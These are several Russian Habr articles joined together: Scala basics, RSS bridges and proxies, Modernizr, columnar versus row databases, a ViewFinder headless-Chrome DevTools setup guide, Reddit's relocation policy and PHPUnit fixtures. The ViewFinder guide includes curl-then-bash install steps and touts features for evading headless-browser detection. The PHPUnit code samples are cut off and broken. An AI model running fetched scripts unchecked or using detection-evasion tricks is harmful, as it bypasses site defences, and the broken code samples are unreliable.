Крайне удобно использовать pattern-matching с case-классами. Пример из Scala Beginning
```
Stuff("David", 45) match {
case Stuff("David", age) if age < 30 => "young David"
case Stuff("David", _) => "old David"
case _ => "Other"
}
```
**Функции**
Начнем с того, что в Scala функции — это инстансы, реализующие определенный интерфейс, а точнее trait FunctionX, где X это количество параметров и принимает значение от 1 до 22. В этом трейте единственный метод — aplly, который и вызывается для функции. Поскольку функции это обычные инстансы, то мы можем передавать и возвращать их из методов и функций.
Пример из Scala Beginning. Передаем в answer какую-то функцию из Int в String, а она возвращает результат работы этой функции с параметром 42.
```
def answer(f: Function1[Int, String]) = f(42)
```
или что тоже самое
```
def answer(f: Function1[Int, String]) = f.apply(42)
```
Очень удобная вещь функциональные комбинаторы/
Оставить в массиве только положительные элементы:
```
arr.filter(value => value > 0)
```
Чуть более сложный пример. Посчитать сумму значений функции f от положительных элементов списка. 2 способа это сделать:
```
list.filter(x => x > 0).foldLeft(0)(_ + f(_))
list.filter(x => x > 0).map(f).sum
```
А в конце хотелось бы сказать зачем вообще я все это написал. Я не хотел никого учить Scala или рассказывать о языке как о таковом, таких статей на хабре и в интернете достаточно много, и многие очень хорошие и полезные. Моей целью было просто рассказать свою историю, которая кому-то может быть интересна и сможет помочь и поддержать какого-нибудь такого же потерянного новичка, которого судьба только-только столкнула с этой скалой. Желаю тебе удачи! Опытных же программистов призываю поделиться в комментариях своими советами и мнениями, на счет пути начинающего Scala-программиста. | https://habr.com/ru/post/446988/ | null | ru | null |
# Возвращаем RSS к жизни
*RSS-агрегатор NetNewsWire*
Мы уже [обсуждали](https://habr.com/ru/company/itsumma/blog/541454/), насколько важен и удобен RSS для профессиональной работы с источниками в интернете. Это *единственный* способ собрать огромный массив данных с тысяч сайтов, соцсетей, блогов, твиттер-аккаунтов, торрент-трекеров и др.
Вся информация накапливается в личном агрегаторе, доступна в удобное время, в том числе офлайн. Никогда ничего не теряется. Это особенно актуально сейчас, в условиях информационной блокады, периодических отключений интернета и угрозы полного шатдауна.
Завершение хайпа — признак взросления технологии
================================================
В 2013 году компания Google [прекратила разработку](https://habr.com/ru/post/173019/) RSS-ридера Google Reader. Это стало сигналом, что хайп вокруг блогосферы закончился. Наступила новая эпоха социальных сетей и централизованных платформ.
На место блогов пришли миллионы пользователей, генерирующих UGC в соцсетях: видео, фотографии, короткие твиты (ютуб, фейсбук, твиттер, инстаграм и т.д.).
Казалось бы, нашествие UGC означает расцвет RSS? Но нет, для социальных сетей первой волны RSS стал **идеологическим врагом**. Фиды RSS удалялись из социальных сетей. Каждый сайт типа Facebook пытался замкнуть аудиторию строго в своём загончике. Сейчас дошло до того, что даже *внешние ссылки* они стараются скрыть и заменить на «предпросмотр страницы» или кэшированную версию. Главное, чтобы со своих серверов.
Такой огороженный сад — изобретение Apple. А сейчас этот бесславный «подвиг» пытаются повторить другие интернет-гиганты, в том числе Google. О принципах открытого свободного интернета никто не думает. Прибыль на первом месте. Идёт война за внимание пользователей, каждая дополнительная секунда — на вес золота. Захватив внимание, отпускать человека уже нельзя, это закон бизнеса.
Google Reader запустили во времена бума блогосферы в 2005 году, когда на рынке присутствовало [огромное количество других RSS-ридеров](http://techcrunch.com/2006/03/30/the-state-of-online-feed-readers/). Самым популярным считался [Bloglines](https://en.wikipedia.org/wiki/Bloglines).
Но веб-синдикация типа RSS не совсем вписалась в новую бизнес-модель Google, которая как раз в то время запустила свою социальную сеть (тоже неудачно).
Закрытие сервиса состоялось на фоне [постепенной деградации RSS-индустрии](https://brandur.org/fragments/rss-abandon). В начале 2015 года одним из последних прекратил своё существование Bloglines. Как и лопнувший пузырь доткомов с банкротством половины интернет-компаний в конце 90-х, этот процесс отмирания лишних сущностей — признак зрелой технологии и взросления индустрии, которая избавляется от пены финансовых спекуляций. И выходит на плато здорового использования.
То же самое сейчас происходит с децентрализацией, P2P-мессенджерами, RSS и другими свободными технологиями.
Аудитория RSS — самые продвинутые пользователи. Кажется, что технология отлично себя зарекомендовала. И сейчас из «впадины разочарования» она движется по «склону просвещения» на «плато продуктивного использования».
*Стадии технологического развития от Gartner, [август 2021](https://www.gartner.com/en/newsroom/press-releases/2021-08-23-gartner-identifies-key-emerging-technologies-spurring-innovation-through-trust-growth-and-change)*
Google Reader и Bloglines умерли, но дело их живёт. RSS и не думает уходить со сцены. Совсем наоборот, технология возрождается.
А если какой-то сайт не публикует фиды для нашего агрегатора, то их можно сгенерировать с помощью сторонних инструментов, таких как RSS-мосты и RSS-прокси.
Мосты для сайтов, у которых нет RSS
===================================
Как мы уже говорили, 15 лет назад на хайпе *каждый* сайт экспортировал RSS-фид. Поддержку RSS даже встроили в браузеры. Все считали, что за этим будущее. Но потом хайп прекратился. Сейчас развитие технологии по спирали выходит на новый уровень, а вот мода выкладывать RSS-фид на каждом сайте пропала, к сожалению.
Чтобы исправить это недоразумение, разработан PHP-проект [RSS-Bridge](https://github.com/RSS-Bridge/rss-bridge). Он помогает генерировать ленты RSS для сайтов, которые не поддерживают экспорт. Можно поднять на своём сервере или запустить из консоли. Для примера см. [чужие мосты](https://sebsauvage.net/rss-bridge/). Полученный оттуда фид загружаем в свой агрегатор, он будет периодически дёргать и обновлять его.
На данный момент сообщество подготовило скрипты генерации RSS примерно для [сотни популярных сайтов](https://github.com/RSS-Bridge/rss-bridge/tree/master/bridges), в том числе:
* `Facebook`: последние посты на указанный странице или профиле (временно не работает)
* `YouTube`: канал, плейлист или новые результаты поиска по ключевым словам
* `Google`: новые результаты поиска по ключевым словам
* `Instagram`: новые фотографии от указанного юзера
* `Twitter` (RSS-фиды для твиттера можно получить на специализированном прокси типа [Nitter](https://nitter.net/))
* `Telegram`: посты в публичном канале
… и многие другие.
RSS-Bridge экспортирует в несколько форматов: Atom, MRSS, HTML, JSON и Plaintext (можно добавить свой формат через [Format-API](https://github.com/RSS-Bridge/rss-bridge/wiki/Format-API)).
Пример экспорта из Telegram в HTML:
`https://sebsauvage.net/rss-bridge/?action=display&bridge=Telegram&username=%40ancotir_science&format=Html`
Получаем сгенерированный HTML, например, для публикации на сайте или просто для чтения в стандартном формате, без необходимости запускать клиент Telegram:
То же самое с RSS.
Форматы JSON и текст подходят для использования в других приложениях. Например, можно добавить собранную информацию в базу данных или электронные таблицы. Отправить сообщение по почте, SMS, в телеграм-канал, Slack или Discord.
В общем, очень полезный инструмент для не только для экспорта RSS, но и для автоматизации различных действий в интернете. Это чем-то напоминает скрапинг сайтов, чтобы триггернуть действия в конвейере типа Yahoo Pipes или IFTTT.
*Примечание*. Примерно половина скриптов RSS-Bridge сейчас не работает, потому что Facebook и другие сайты активно противодействуют скрапингу и часто меняют шаблоны. Не всегда разработчики успевают оперативно вносить изменения в скрипты для генерации RSS.
RSS-прокси для остальных сайтов
===============================
[RSS Proxy](https://github.com/damoeb/rss-proxy) — ещё один проект генерации RSS для любого сайта (путём анализа структуры HTML).
На выходе получаем фиды RSS/Atom или JSON, см. [демо](https://rssproxy-v1.migor.org/).
Проще всего поднять RSS Proxy в докер-контейнере:
```
docker pull damoeb/rss-proxy
docker run -p 3000:3000 -it damoeb/rss-proxy
```
Потом открываем [localhost:3000](http://localhost:3000/) в браузере.
Парсинг RSS-Proxy универсально работает для всех сайтов. В том числе для тех, к которым отсутствуют [мосты RSS-Bridge](https://github.com/RSS-Bridge/rss-bridge/tree/master/bridges), упомянутые выше.
Для понимания, в RSS-Bridge встроены правила извлечения контента, которые подходят для многих сайтов и других информационных каналов (например, в телеграме). Они работают отлично. Однако RSS-Proxy идёт ещё дальше и пытается извлекать контент вообще *с любых* сайтов с базовой структурой HTML.
Для этого реализована весьма [изящная логика](https://github.com/damoeb/rss-proxy/blob/master/packages/core/src/feed-parser.ts#L407):
```
let score = 0;
if (contextPathContains('header')) score -= 2;
if (contextPathContains('nav')) score --;
if (contextPathContains('article')) score += 2;
if (contextPathContains('main')) score += 2;
if (contextPathContains('aside')) score -= 2;
if (contextPathContains('footer')) score -= 2;
if (contextPathContains('ul>li')) score --;
if (linkPathContains('h1')) score += 4;
if (linkPathContains('h2')) score += 3;
if (linkPathContains('h3')) score += 2;
if (linkPathContains('h4')) score ++;
if (linkPathContains('strong')) score ++;
if (linkPathContains('aside')) score --;
if (linkPathContains('article')) score += 2;
// if (rule.linkPath.toLowerCase() === 'a') score --;
if (rule.contextXPath.toLowerCase().endsWith('a')) score -= 5;
if (rule.linkXPath.toLowerCase() === 'self') score --;
```
Если HTML нормальный, то такой подход работает вполне качественно. Семантические теги в HTML — очень полезная вещь не просто для визуальной разметки, но и для парсинга страницы. Сами разработчики могут использовать инструменты типа RSS-Proxy, чтобы создавать и публиковать фиды для своих сайтов. Ну и для чужих это делать никто не мешает.
Ещё один похожий проект — китайский фид-генератор [RSSHub](https://github.com/DIYgod/RSSHub), тоже умеет генерировать фиды практически из чего угодно. Работает в связке с браузерным расширением [RSSHub-Radar](https://github.com/DIYgod/RSSHub-Radar), мобильными приложениями [RSSBud](https://github.com/Cay-Zhang/RSSBud) (iOS) и [RSSAid](https://github.com/LeetaoGoooo/RSSAid) (Android).
Автор RSS-Proxy сейчас переписывает свою программу на Котлине: он запустил новый проект [rich-RSS](https://github.com/damoeb/rich-rss), и там вроде бы даже реализованы некоторые функции, которых нет в RSS-Proxy, но это нужно ещё проверить.
См. также другие [RSS-генераторы](https://github.com/AboutRSS/ALL-about-RSS#-rss-feed-generation) в огромном списке различных [инструментов для работы с RSS](https://github.com/AboutRSS/ALL-about-RSS).
RSS-ридеры (агрегаторы)
=======================
Судя по всему, децентрализация снова входит в моду. RSS возвращается в нашу жизнь. Хотя опытные люди спокойно продолжали им пользоваться все эти годы.
Актуальный [список RSS-ридеров и агрегаторов](https://en.wikipedia.org/wiki/Comparison_of_feed_aggregators) включает несколько десятков программ. Наш [опрос](https://habr.com/ru/company/itsumma/blog/541454/) годичной давности показал, что самыми популярными на Хабре являются Feedly (39%), Inoreader (24%) и категория «Другие» (32%).
В последнее время появилось несколько новых разработок. Например, [FreshRSS](https://www.freshrss.org/) (десктопная версия бесплатная) и [NetNewsWire](https://netnewswire.com/) (бесплатный и опенсорсный ридер, но только под macOS/iOS).
*FreshRSS*
*NetNewsWire*
В комментариях к [предыдущей статье](https://habr.com/ru/company/itsumma/blog/541454/) отметили главные достоинства RSS-ридеров:
* Вы никогда ничего не пропустите
* Можно читать ленту в удобное время
* Удобно делиться подборками фидов
Освоив RSS, уже практически невозможно вернуться к примитивному способу потребления информации. Ведь и СМИ, и социальные сети норовят скормить читателю информацию в стиле «кушай, что дают» или «читай то, что написано на главной странице / в ленте».
Особенно поражает лицемерие социальных сетей, которые призывают людей «делиться», а на самом деле *удаляют* RSS со страниц, чтобы удержать людей внутри своей изолированной песочницы.
Нет уж, спасибо за сервис. Мы как-нибудь сами.
Будущее RSS
===========
Слухи о смерти RSS сильно преувеличены. Это отличная технология, которая и в нынешнем виде великолепно работает на свободных и открытых принципах.
Централизованные платформы типа Facebook умеют засасывать огромную аудиторию, но это временно. Они не способны сосуществовать с другими такими же централизованными платформами, каждая из которых работает по принципу мощного пылесоса. Такая модель неустойчива и нежизнеспособна по определению. Этим гигантам суждено убивать друг друга, иначе сам умрёшь.
В отличие от них, децентрализация — это устойчивая, жизнеспособная и долговременная модель развития Сети, а веб-синдикация типа RSS/Atom отлично в неё вписывается.
Сейчас W3C рассматривает новый стандарт [ActivityStreams](https://indieweb.org/ActivityStreams), который называют «RSS на стероидах». На его основе сделан в том числе протокол децентрализованных социальных сетей [ActivityPub](https://indieweb.org/ActivityPub). Возможно, за такими сетями будущее. | https://habr.com/ru/post/656129/ | null | ru | null |
# Поддерживает-ли браузер пользователя CSS в необходимом объеме?
 [Modernizr](http://www.modernizr.com/) — это небольшая простая JavaScript-библиотека, которая поможет получить ответ на вопрос поддерживает ли браузер пользователя такие технологии как:
* HTML5
* Canvas
* rgba()
* hsla()
* border-image
* border-radius
* box-shadow
* Множественные фоновые изображения
* Прозрачность
* CSS-анимацию
* Столбцы
* Градиенты
* Отражения
* CSS-трансформацию
* CSS-перехды
Вы хотели бы упростить верстку, зная что браузер пользователя поддерживает такие возможности CSS, как, например, множественные фоновые изображения? С Modernizr этого добиться просто! Синтаксис очень понятен:
`body.multiplebgs div p {
/* properties for browsers that
support multiple backgrounds */
}
body.no-multiplebgs div p {
/* optional fallback properties
for browsers that don't */
}` | https://habr.com/ru/post/63442/ | null | ru | null |
# Операционные vs аналитические базы: колоночное vs построчное хранение данных
Базы данных можно реализовать с помощью Excel, GSheet или при помощи больших ORM систем. В своей практике бизнес-аналитика я сталкивался с разными решениями. А поскольку в бизнес-анализ я пришёл из финансов и аудита, то каждый раз встречая новую систему задавался вопросами — чем все они отличаются друг от друга и какие задачи решают? Некоторые ответы нашёл. В этой статье будет рассмотрено два основных назначения баз данных:
1 — учёт операций,
2 — анализ данных
Первый тип задач решают OLTP системы: от On Line Transaction Processing. Второй тип решают OLAP системы: от On Line Analytical Processing
OLTP
----
Модель хранения данных в OLTP можно сравнить с записями в телефонной книге. Строка в таблице представлена в виде индекса и соответствующих этому индексу данных: (indexN, data). Поэтому такую таблицу нельзя называть таблицей. Это скорее обычная книга, с пронумерованными строками. Если в книгу нужно записать новую операцию — добавляем строку, присваиваем индекс и закрываем книгу. Из книги торчат ярлыки по которым можно быстро O(log n), находить нужную строку и делать CRUD.
Для целей учёта операций это дружелюбное отображение. Но оно недружелюбно для анализа данных, в котором нам важны не строки сами по себе, но вычисления на основе содержимого этих строк. И если делать аналитический запрос на основе содержимого строк, т.е. по не индексированным полям, то такие запросы будут работать медленнее.
Индексировать все записи, как известно, не вариант. Хоть книга становится похожей на таблицу, поскольку атрибуты становятся доступны для быстрого поиска, но при этом существенно замедляется создание новых и обновление имеющихся строк. Поскольку эти операции будут требовать пересортировки всего массива.
Компромисс между OLAP и OLTP
----------------------------
В решениях 1С компромисс реализован следующим образом. События при записи в базу пишутся сразу в несколько мест. В одном месте записи имеют мало индексов и оптимизированы под OLTP нагрузки, в другом месте записи индексируются по всем полям и адаптированы для OLAP нагрузок. Такие таблицы называются регистрами накоплений и регистрами сведений. Поскольку запись в несколько мест кратно увеличивает занимаемое пространство, то для экономии в регистры попадают не все атрибуты транзакции, а только те, которые считаются важными для данного раздела аналитического учёта. Подобный компромисс называется ROLAP моделью, т.е. реляционно-аналитическим отображением.
OLAP
----
В SAP, немецком аналоге 1С пошли дальше. Реляционную OLTP модель в этом ПО можно реплицировать в OLAP модель. В SAP HANA реализована колоночная структура хранения. Это значит, что "таблицы" хранятся там не в виде набора строк, а в виде набора колонок.
Аналогичная схема хранения реализована в таких решениях как Google Bigquery, Microsoft SSAS Tabular, Amazon Redshift, Yandex ClickHouse.
Отличие колоночного хранения от построчного
-------------------------------------------
Если в построчной структуре данные хранятся в виде "горизонтальных" кортежей, каждый из которых является транзакцией:
```
period, product, department
(Q1, SKU1, 1)
(Q1, SKU2, 1)
(Q1, SKU1, 1)
...
(Q2, SKU1, 1)
(Q2, SKU1, 1)
(Q3, SKU1, 1)
(Q3, SKU1, 1)
...
```
То в колоночной такие данные хранятся "вертикально":
```
(Q1, Q1, Q1, ... Q2, Q2, Q3, Q3, ...)
(SKU1, SKU2, SKU1, ... SKU1, SKU1, SKU1, SKU1, ...)
(1,1,1, ... 1,1,1,1, ...)
```
Повторы можно оптимизировать, условно так:
```
period = (Q1, {start: 0, count: n}, Q2, {start: n+1; count: m}, ...)
product = (SKU1, {start: 0, count: 1}, SKU2, {start: 1; count: 1}, SKU1, {start: 2; count: m}, ...)
department = (1,{start:0, count:m}...)
```
Если же есть колонка для которой такая оптимизация не сократит изначальный объём, то данные хранятся в первоначальном виде.
Движок колоночной таблицы сам выбирает последовательность сортировки колонок, но если вы знаете свои данные и отсортируете их вручную, то часто это увеличивает компрессию и облегчает аналитические нагрузки. У меня сжатие отдельных таблиц превышало 300 раз. На практике такая структура хранения данных:
1. позволяет сжимать данные до уровня когда они помещаются в RAM, т.е. делают доступными in-memory вычисления, которые не сопоставимы по скорости с запросами к реляционным БД
2. задаёт свои правила для построения модели данных, уже не требуя такой нормализации как в OLTP
3. задаёт свою семантику для построения аналитических выражений.
Специфика выражений подробно описана:
[здесь](https://netpeak.net/ru/blog/kak-rabotat-s-okonnymi-funktsiyami-v-google-bigquery-podrobnoe-rukovodstvo/) — для Google BigQuery.
[здесь](https://www.sqlbi.com/articles/filter-arguments-in-calculate/) — для Microsoft DAX.
BI как инфраструктура колоночных баз
------------------------------------
BI это решения обслуживающие аналитические нагрузки. И они делают жизнь намного проще если выстроены поверх колоночных баз данных. Это может быть самодельная связка ClickHouse-Grafana-Python или связка стека Google: Bigquery-Data Studio-Dataprep-Dataflow или же монолитный Power BI.
Многомерные кубы являются другой OLAP альтернативой колоночной схемы хранения. Но для меня выражения MDX, если сравнивать их с SQL в BQ или языком DAX — избыточны и сложны. | https://habr.com/ru/post/442754/ | null | ru | null |
# Используем DevTools в headless Chrome
Если вы когда-нибудь использовали Puppeteer, то наверняка сталкивались с неудобной отладкой скриптов на удалённых нодах headless Chrome. Часто так не хватает консоли, а лучше полноценной панели инструментов для изучения запросов и логов… хотя постойте. Puppeteer сам по себе построен поверх Chrome DevTools Protocol, значит, наверняка есть куча решений для проброса данных в локальные DevTools? А вот и нет. Есть только два более-менее рабочих инструмента: отладчик для [browserless.io](https://browserless.io) и [pptrconsole](https://pptrconsole.com/). Второй по функционалу и стабильности уже далеко впереди, поэтому поговорим про него.
Функционал
----------
Сайт pptrconsole это по сути демка частично опенсорсного проекта [ViewFinder](https://github.com/i5ik/ViewFinderJS), так что можно без проблем развернуть свою ноду и не зависеть от чужого облака. Цель ViewFinder — развернуть полноценный доступ к удалённому headless-браузеру прямо во вкладке обычного браузера (здесь и дальше речь [в силу очевидных причин](https://pptr.dev/#?product=Puppeteer&version=v8.0.0&show=api-overview) пойдёт только про Chrome) внутри песочницы, сохранив доступ к максимальному количеству браузерных событий и взаимодействий, и, конечно, к DevTools. Чтобы максимально обезопасить конечный браузер от уязвимостей и прочих криптомайнеров, сервер не использует API браузера, вместо этого он просто стримит картинку (отображение и полученные данные живут в виртуальной среде). При этом разработчик делает упор на низкую задержку, так что картинка из самого браузера передаётся в минимальном приемлемом качестве, а панель DevTools отображает только запрошенные данные, что позволяет сократить нагрузку от одной вкладки до считаных килобит.
Fun fact: так как страница с панелькой выглядит и ведёт себя в точности как локальные DevTools (ещё бы, ведь обе исполняют код Chromium), можно из интереса сравнить версии
Помимо инструментов разработчика ViewFinder предлагает много фич, усложняющих обнаружение headless браузера и упрощающих использование:
* Поддержка браузерных диалогов — многие детекторы ориентируются на возможность и скорость прокликивания всплывающих окон
* Работа с расширениями
* Корректный юзер-агент
* Не определяется использование DevTools Protocol
* Корректный захват мыши и скролл на любых устройствах
* Нормально работающие копирование и вставка
* Заполнение форм (текстовые инпуты, чекбоксы, загрузка файлов)
* История (отсутствует в привычном виде, но доступна для навигации по кнопкам и из консоли)
* Можно работать в нескольких вкладках, и в том числе создавать вкладки инкогнито
* Динамическое изменение качества картинки в зависимости от пропускной способности сети
* Счетчик трафика на сервере и для вкладки
* Доступность с любого девайса на всех популярных ОС
Как и сам Puppeteer, приложение построено на Node.js, причём весь браузер ViewFinder легко встраивается в другое приложение. Например, можно завернуть его в Electron и использовать как нативное приложение, или прикрепить DevTools к основной странице.
В интерфейсе можно писать, запускать и отлаживать скрипты Puppeteer:
Установка
---------
Ставить будем на чистый [VPS](https://vdsina.ru/cloud-servers?partner=habr326):
```
sudo apt update && sudo apt -y upgrade
sudo apt install -y curl git wget certbot
curl -sL https://raw.githubusercontent.com/creationix/nvm/v0.33.11/install.sh -o install_nvm.sh
bash ./install_nvm
source $HOME/.profile
source $HOME/.nvm/nvm.sh
nvm install --lts
npm i -g serve nodemon pm2 npm npx
```
Склонируем и запустим ViewFinder:
```
git clone https://github.com/c9fe/ViewFinder
cd ViewFinder
npm i
npm start
```
Скрипт `start.sh` поддерживает следующие аргументы:
```
./start.sh token2
```
Также доступен докер-образ (установка для Ubuntu ниже):
```
sudo apt-get update
sudo apt-get install \
apt-transport-https \
ca-certificates \
curl \
gnupg \
lsb-release
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo \
"deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu \
$(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update
sudo apt-get install docker-ce docker-ce-cli containerd.io
```
Скачаем и запустим образ:
```
docker pull dosyago/browsergapce:2.6
curl -o chrome.json https://raw.githubusercontent.com/c9fe/ViewFinder/master/chrome.json
sudo su -c "echo 'kernel.unprivileged_userns_clone=1' > /etc/sysctl.d/00-local-userns.conf"
sudo su -c "echo 'net.ipv4.ip_forward=1' > /etc/sysctl.d/01-network-ipv4.conf"
sudo sysctl -p
sudo docker run -d -p 8002:8002 --security-opt seccomp=$(pwd)/chrome.json dosyago/browsergapce:2.6
```
Или можно собрать образ самостоятельно:
```
git clone https://github.com/c9fe/ViewFinder
cd BrowserGap
git fetch --all
git branch nexe-build
./buld_docker.sh
./run_docker.sh
```
Заключение
----------
Как и у любого продукта, у ViewFinder есть свои слабые стороны: плохонькие юзабилити и дизайн не слишком мешают, а вот желание разработчика загнать полноценное пользование сервисом в SaaS модель напрягают. К счастью, он принципиально держит фронтенд и вообще большую часть проекта открытыми, да и для частного использования это сейчас практически безальтернативный инструмент. Судя по его комментариям, из-за большого спроса на качество картинки, в следующих релизах появится его регулировка, чтобы пользователи могли сами выбирать между экономией трафика и визуальной составляющей. Кроме того, вместо передачи отдельных фреймов в webp будет реализован h264-стрим (через конвертацию в ffmpeg). В любом случае проект интересный и закрывает целую нишу, так что своих пользователей он уже нашёл.
---
#### На правах рекламы
**Эпично!** [Мощные серверы](https://vdsina.ru/cloud-servers?partner=habr326) на базе новейших процессоров AMD EPYC для размещения проектов любой сложности, от корпоративных сетей и игровых проектов до лендингов и VPN.
[](https://vdsina.ru/cloud-servers?partner=habr326) | https://habr.com/ru/post/553034/ | null | ru | null |
# Reddit попросил своих удаленных разработчиков переехать в Сан-Франциско или они будут уволены
У Reddit большие планы по расширению своей плошадки в сторону «платформы для распространения новостей» … которые, неожиданно, накладывают ограничения на то, где работники должны жить. На днях Reddit поставил ультиматум своим удаленным работникам: или они переезжают в Сан-Франциско (где у Reddit офис), или будут уволены. Об изменении политики в отношении удаленных работников опубликовал в своем Twitter основатель Basecamp — David Heinemeier Hansson.
> Guess [`@`reddit](https://twitter.com/reddit)'s "suitable talent only exists in San Fran" approach explains why they need $50M to hire more devs. Small pond, big trawler.— DHH (@dhh) [1 октября 2014](https://twitter.com/dhh/status/517375624739319808)
Новость появилась сразу на следующий день как Reddit сообщил о получении 50$ миллионов инвестиций. Yishan Wong (Reddit CEO) вчера убеждал лояльных пользователей Reddit, что новые инвестиции не принесут никаких отрицательных изменений на сайте и не заставят Reddit меньше беспокоиться о сообществе.
Wong подтвердил в Twitter об изменении политики в отношении работников, которое, как он сказал, было принято независимо от полученных инвестиций. “Нашим намерением было собрать всю команду в одном месте, что бы получить 100% командной работы. Наша цель сохранить каждого члена команды" — написал Wong.
> [@dhh](https://twitter.com/dhh) Intention is to get whole team under one roof for optimal teamwork. Our goal is to retain 100% of the team.— Yishan Wong (@yishan) [1 октября 2014](https://twitter.com/yishan/status/517366447253643264)
Удаленные работники должны переехать в Сан-Франциско до конца года, для чего компания предоставит соответсвующие средства. Однако, те, кто предпочтет не переезжать, получат выходное пособие.
Вице-президент Elance-oDesk по услугам и инженерному обеспечению (Senior Vice President of Product and Engineering) Stephane Kasriel уже опубликовал свое мнение, в котором заявил, что Elance-oDesk будет рад нанять уволенных из Reddit сотрудников.
[www.odesk.com/blog/2014/10/dear-reddit-employees-desire-move-lets-talk](https://www.odesk.com/blog/2014/10/dear-reddit-employees-desire-move-lets-talk/)
**UPD:**
Ответ CEO Yishan Wong по поводу закрытия офисов Reddit в Солт-Лейк-Сити и Нью-Йорке.
[www.quora.com/Is-Reddit-closing-their-NYC-and-Salt-Lake-City-offices](http://www.quora.com/Is-Reddit-closing-their-NYC-and-Salt-Lake-City-offices) | https://habr.com/ru/post/239161/ | null | ru | null |
# PHPUnit. Часть 04 Тестовые окружения (Fixtures)
*Предисловие переводчика
Эта статья продолжает серию переводов официальной документации по PHPUnit на русский язык.
[Часть 1](http://habrahabr.ru/blogs/php/87922), [Часть 2](http://www.smartyit.ru/php/84), [Часть 3](http://habrahabr.ru/blogs/php/89175),*
Установка параметров тестовой среды или, другими словами, создание тестируемого мира — это одна из самых трудоемких задач. А ведь после завершения теста всем переменным надо вернуть первоначальные значения — эта задача тоже не из простых. Тестируемый мир или параметры тестируемой среды называются — *тестовое окружение (fixture)*.
В [Примере 4.1](http://www.smartyit.ru/php/85#writing-tests-for-phpunit.examples.StackTest.php) тестовое окружение было простым массивом, который сохранялся в переменную `$stack`.
Однако, чаще всего тестовое окружение оказывается значительно сложнее, и количество кода, для работы с ним растет соответственно. Содержание теста может потеряться в шуме кода, отвечающего за работу с тестовым окружением. Все станет совсем плохо в тот момент, когда Вы напишите несколько тестов, использующих похожие тестовые окружения. Нам явно необходима помощь среды тестирования (framework), если мы ходим избавиться от многочисленного дублирования кода.
PHPUnit поддерживает совместное использование кода установки тестового окружения.
До того как начнет выполняться метод тестирования, будет вызван шаблонный метод `setUp()`.
Как только метод тестирования завершит свою работу будет вызван другой шаблонный метод — `tearDown()`.
Причем его вызов не зависит от того успешно ли завершился тест или нет.
В [Примере 4.2](http://www.smartyit.ru/php/85#writing-tests-for-phpunit.examples.StackTest2.php) мы применяем подход «источник-приемник» для совместного использования тестового окружения. Но это не всегда приемлемо, а часто и вовсе невозможно.
Пример 6.1 демонстрирует как можно написать тест `StackTest` таким образом, чтобы повторно использовать не тестовое окружение, а код, который его создает.
Прежде всего, мы объявляем переменную класса `$stack`, которую мы будем использовать вместо локальной переменной метода.
После этого мы переместим создание тестового окружения в метод `setUp()`.
В заключении мы уберем ставший уже ненужным код из тестовых методов и начнем использовать новую переменную класса `$this->stack`, вместо локальной переменной метода `$stack`.
**Пример 6.1: Использование setUp() для создания тестового окружения тестирования стека**
> `php<br
>
> class StackTest extends PHPUnit\_Framework\_TestCase`
>
>
Шаблонные методы `setUp()` и `tearDown()` вызываются по одному разу для каждого тестового метода (и для нового экземпляра) тестового класса.
Шаблонные методы `setUpBeforeClass()` и `tearDownAfterClass()` вызываются прежде, чем будет выполнен первый метод тестового класса и после того как последний метод будет завершен.
В следующем примере демонстрируются все возможные шаблонные методы, которые доступны в тестовом классе.
**Пример 6.2: Пример демонстрирует применение всех возможных шаблонным методов**
> `php<br
>
> require\_once 'PHPUnit/Framework.php';`
>
>
```
phpunit TemplateMethodsTest
PHPUnit 3.4.2 by Sebastian Bergmann.
TemplateMethodsTest::setUpBeforeClass
TemplateMethodsTest::setUp
TemplateMethodsTest::assertPreConditions
TemplateMethodsTest::testOne
TemplateMethodsTest::assertPostConditions
TemplateMethodsTest::tearDown
.TemplateMethodsTest::setUp
TemplateMethodsTest::assertPreConditions
TemplateMethodsTest::testTwo
TemplateMethodsTest::tearDown
TemplateMethodsTest::onNotSuccessfulTest
FTemplateMethodsTest::tearDownAfterClass
Time: 0 seconds
There was 1 failure:
1) TemplateMethodsTest::testTwo
Failed asserting that is true.
/home/sb/TemplateMethodsTest.php:30
FAILURES!
Tests: 2, Assertions: 2, Failures: 1.
```
Практика применения setUp() и tearDown()
----------------------------------------
`setUp()` и `tearDown()` теоретически должны быть полностью симметричны, однако на практике это ни так.
На практике, Вы обязательно должны вызвать `tearDown()`, если в `setUp()` открыли какой-нибудь внешний ресурс, например, сокет или файл. Если `setUp()` создает только объекты PHP, `tearDown()` можно игнорировать. Однако, если в `setUp()` создается множество объектов, разумно в `tearDown()` поместить вызовы `unset()` для созданных объектов.
Таким образом, `tearDown()` выполнит функцию сборщика мусора.
Сборка мусора для объектов тестовых методов практически не предсказуема.
Вариации
--------
Что получится, если у Вас будет два теста с немного разными тестовыми окружениями? Возможны два варианта:
* Если функции `setUp()` отличаются незначительно, перенесите специфический код из `setUp()` в тестовые методы.
* Если функции `setUp()` сильно отличаются, то надо создать другой тестовый класс. Назовите этот новый класс по аналогии с отличиями в тестовом окружении.
Совместное использование тестовых окружений
-------------------------------------------
Есть несколько веских причин совместного использования тестового окружения несколькими тестами, однако в большинстве случает подобная необходимость является следствием проблем в архитектуре приложения.
Хороший пример совместного использования тестового окружения несколькими тестами — соединение с базой данных. Соединение с базой устанавливается только один раз, и все тесы используют это соединение, вместо того чтобы для каждого теста создавать новое.
Эта практика позволяет ускорить выполнение тестов.
В Примере 6.3 показано как использовать шаблонные методы `setUp()` и `tearDown()` класса `PHPUnit_Framework_TestSuite` (см. [раздел Использование класса TestSuite](http://www.smartyit.ru/php/87#organizing-tests.testsuite "Использование класса TestSuite")) для подключения к базе данных до выполнения первого теста тестового набора и отключения от базы после выполнения последнего теста. Атрибут `$sharedFixture` объекта `PHPUnit_Framework_TestSuite` доступен во всех объектах классов, унаследованных от `PHPUnit_Framework_TestSuite` и `PHPUnit_Framework_TestCase`.
**Пример 6.3: Совместное использование тестового окружения несколькими тестами тестового набора**
> `php<br
>
> require\_once 'PHPUnit/Framework.php';`
>
>
Сокращение количества тестов за счет применения совместного использования тестового окружения должно настораживать.
Это может говорить о наличии скрытой пробемы в архитектуре — объекты излишне взаимосвязаны.
